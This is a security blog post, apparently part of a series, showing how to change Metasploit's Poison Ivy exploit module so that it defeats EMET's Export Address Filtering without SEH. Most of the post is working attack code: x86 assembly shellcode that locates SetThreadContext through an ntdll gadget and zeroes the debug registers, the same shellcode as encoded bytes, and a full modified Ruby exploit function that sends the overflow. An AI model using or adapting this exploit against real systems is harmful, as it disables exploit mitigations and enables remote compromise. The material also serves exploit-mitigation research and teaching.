We continue our series of tweaking Metasploit modules to bypass EMET, without changing Metasploit’s payloads. Last time, we talked about bypassing EMET’s EAF using SEH. Since this technique may not necessarily fit your exploit, we present a second technique that bypasses EMET’s EAF without using SEH or changing Metasploit’s payload.
If you haven’t read it yet, bring yourself up to speed by reading part 1 of this series. It contains a lot of valuable information, as well as a description of our setup. We continue with the simple Poison Ivy exploit on Windows XP SP3. One more thing to note is that in this exploit we have quite a lot of stack space. Naturally, if that’s not the case with your exploit, you’ll need to wiggle a bit to make yourself some room.
As before, EMET is set up like this:
In this exploit, all we have to bypass is EAF.
Bypassing EMET’s EAF Without Using SEH
You may want to bypass EMET’s EAF, but you can’t use SEH. What are your options then?
- You can use SkyLined’s method of bypassing EAF by finding code in ntdll.dll that reads memory addresses (henceforth, the “memory reader”), and using it to access the EAT. EAF sees that the access comes from ntdll.dll, and approves it. Unfortunately, using this technique requires modifying Metasploit’s payload, contrary to the solution we’re looking for.
- You can use Piotr Bania’s method of bypassing EAF by using SetThreadContext to zero the debug registers. However, since we have the chicken and egg problem while trying to get SetThreadContext’s address, the proposed technique uses hardcoded system call values. Unfortunately, this is not generic, and so, we can’t use it as it is.
But what if we could take the best of both techniques? We could use SkyLined’s method to get the address of SetThreadContext, and then use Piotr Bania’s method to zero the debug registers. This will provide us with a generic way to bypass EAF without modifying the Metasploit payloads. We note here, that although Microsoft’s documentation might suggest otherwise, it’s ok to use SetThreadContext on a running thread if you just modify the debug registers.
As always, I didn’t bother optimizing the code – I leave it up to you. So without further ado, here it is:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 |
SUB ESP,70 ; EIP = ESP so we play it safe
; Find NTDLL's module info, and search for the memory reader in NTDLL's code
XOR EBX,EBX
MOV EBX,DWORD PTR FS:[EBX+18] ; Get TIB address (can skip this)
MOV EBX,DWORD PTR DS:[EBX+30] ; Get PEB address
MOV EBX,DWORD PTR DS:[EBX+C] ; Get LDR
MOV EBX,DWORD PTR DS:[EBX+1C] ; EBX = InInitOrder list
MOV EDX,DWORD PTR DS:[EBX+8] ; EDX = NTDLL's base address
MOV EDI,DWORD PTR DS:[EDX+3C] ; Offset of PE header
MOV EDI,DWORD PTR DS:[EDX+EDI+2C] ; Start of NTDLL's code (RVA)
LEA EDI,DWORD PTR DS:[EDX+EDI+E000] ; EDI = Start of NTDLL's code (VA) + skip ofs
MOV EAX,C330408B ; EAX = Opcodes for mov eax,[eax+30h] # ret
search_for_opcodes:
CMP DWORD PTR DS:[EDI],EAX ; Can't use REPNE SCASD (needs dword boundary)
JE SHORT opcodes_found
INC EDI
JMP SHORT search_for_opcodes
opcodes_found:
MOV EBP,EDI ; EBP = address of mov eax,[eax+30h] # ret
; We have the memory reader's address - find kernel32.dll
PUSH 6C0065 ; Push "kernel" in Unicode onto the stack
PUSH 6E0072
PUSH 65006B
CLD
XOR ECX,ECX
find_kernel32_dll:
MOV EBX,DWORD PTR DS:[EBX] ; Go to the next module (InInitOrder)
MOV ESI,ESP ; ESI = "kernel" (Unicode)
MOV EDI,DWORD PTR DS:[EBX+20] ; EDI = Module's name (Unicode)
MOV CL,3
REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
JNZ SHORT find_kernel32_dll
; Find kernel32.dll's exported function SetThreadContext using the mem reader
MOV EBX,DWORD PTR DS:[EBX+8] ; EBX = kernel32.dll's base address
MOV EDX,DWORD PTR DS:[EBX+3C] ; PE header
MOV EDX,DWORD PTR DS:[EDX+EBX+78] ; EDX = kernel32.dll's export directory (RVA)
LEA EAX,DWORD PTR DS:[EDX+EBX-14] ; Address of exported funcs - 30 for mem reader
CALL EBP ; Call the memory reader (EAX = EAT (RVA))
MOV EDX,DWORD PTR DS:[EDX+EBX+20] ; EDX = Address of function names (RVA)
ADD EDX,EBX ; EDX = Address of function names (VA)
ADD EAX,EBX ; EAX = EAT (VA)
XOR ECX,ECX
CALL get_exports ; Put address of string on stack
"SetThreadContext" ; No null termination
get_exports:
MOV ESI,DWORD PTR SS:[ESP] ; "SetThreadContext"
MOV EDI,DWORD PTR DS:[EDX]
ADD EDI,EBX ; Exported function name
MOV CL,4
REPE CMPS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
JE SHORT found_set_context ; Jump if this is our function
ADD EDX,4 ; Next function name
ADD EAX,4 ; Next function address
JMP SHORT get_exports
found_set_context:
MOV EDX,DWORD PTR DS:[EAX]
ADD EDX,EBX ; EDX = address of SetThreadContext
; Zero the debug registers using SetThreadContext
XOR EAX,EAX
MOV ECX,EAX
MOV CL,20
MOV EDI,ESP
REP STOS DWORD PTR ES:[EDI] ; Zero the debug regs (context struct)
MOV DWORD PTR SS:[ESP],10010 ; CONTEXT_DEBUG_REGISTERS
PUSH ESP ; Address of context struct
PUSH -2 ; 0xFFFFFFFE = current thread
CALL EDX ; SetThreadContext
; Our Metasploit payload goes here (executed on the stack) |
So here’s the do_exploit function from Metasploit’s official Poison Ivy module:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
def do_exploit(header)
# Handshake
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get
# Don't change the nulls, or it might not work
xploit = ''
xploit << header
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
xploit << payload.encoded
xploit << "\x00" * (target['Offset'] - xploit.length)
xploit << [target.ret].pack("V") # ret to a jmp esp opcode
xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)
# The disconnection triggers the exploit
print_status("Sending exploit...")
sock.put(xploit)
select(nil,nil,nil,5)
disconnect
end |
And here’s the modified version that bypasses EMET’s EAF:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
def do_exploit(header)
bypass_EAF_noSEH =
"\x83\xEC\x70\x33\xDB\x64\x8B\x5B\x18\x8B\x5B\x30\x8B\x5B\x0C\x8B" +
"\x5B\x1C\x8B\x53\x08\x8B\x7A\x3C\x8B\x7C\x3A\x2C\x8D\xBC\x3A\x00" +
"\xE0\x00\x00\xB8\x8B\x40\x30\xC3\x39\x07\x74\x03\x47\xEB\xF9\x8B" +
"\xEF\x68\x65\x00\x6C\x00\x68\x72\x00\x6E\x00\x68\x6B\x00\x65\x00" +
"\xFC\x33\xC9\x8B\x1B\x8B\xF4\x8B\x7B\x20\xB1\x03\xF3\xA7\x75\xF3" +
"\x8B\x5B\x08\x8B\x53\x3C\x8B\x54\x1A\x78\x8D\x44\x1A\xEC\xFF\xD5" +
"\x8B\x54\x1A\x20\x03\xD3\x03\xC3\x33\xC9\xE8\x10\x00\x00\x00\x53" +
"\x65\x74\x54\x68\x72\x65\x61\x64\x43\x6F\x6E\x74\x65\x78\x74\x8B" +
"\x34\x24\x8B\x3A\x03\xFB\xB1\x04\xF3\xA7\x74\x08\x83\xC2\x04\x83" +
"\xC0\x04\xEB\xEB\x8B\x10\x03\xD3\x33\xC0\x8B\xC8\xB1\x20\x8B\xFC" +
"\xF3\xAB\xC7\x04\x24\x10\x00\x01\x00\x54\x6A\xFE\xFF\xD2"
# Handshake
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get
# Don't change the nulls, or it might not work
xploit = ''
xploit << header
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
xploit << bypass_EAF_noSEH
xploit << payload.encoded
xploit << "\x00" * (target['Offset'] - xploit.length)
xploit << [target.ret].pack("V") # ret to a jmp esp opcode
xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)
# The disconnection triggers the exploit
print_status("Sending exploit...")
sock.put(xploit)
select(nil,nil,nil,5)
disconnect
end |
Let’s test it:


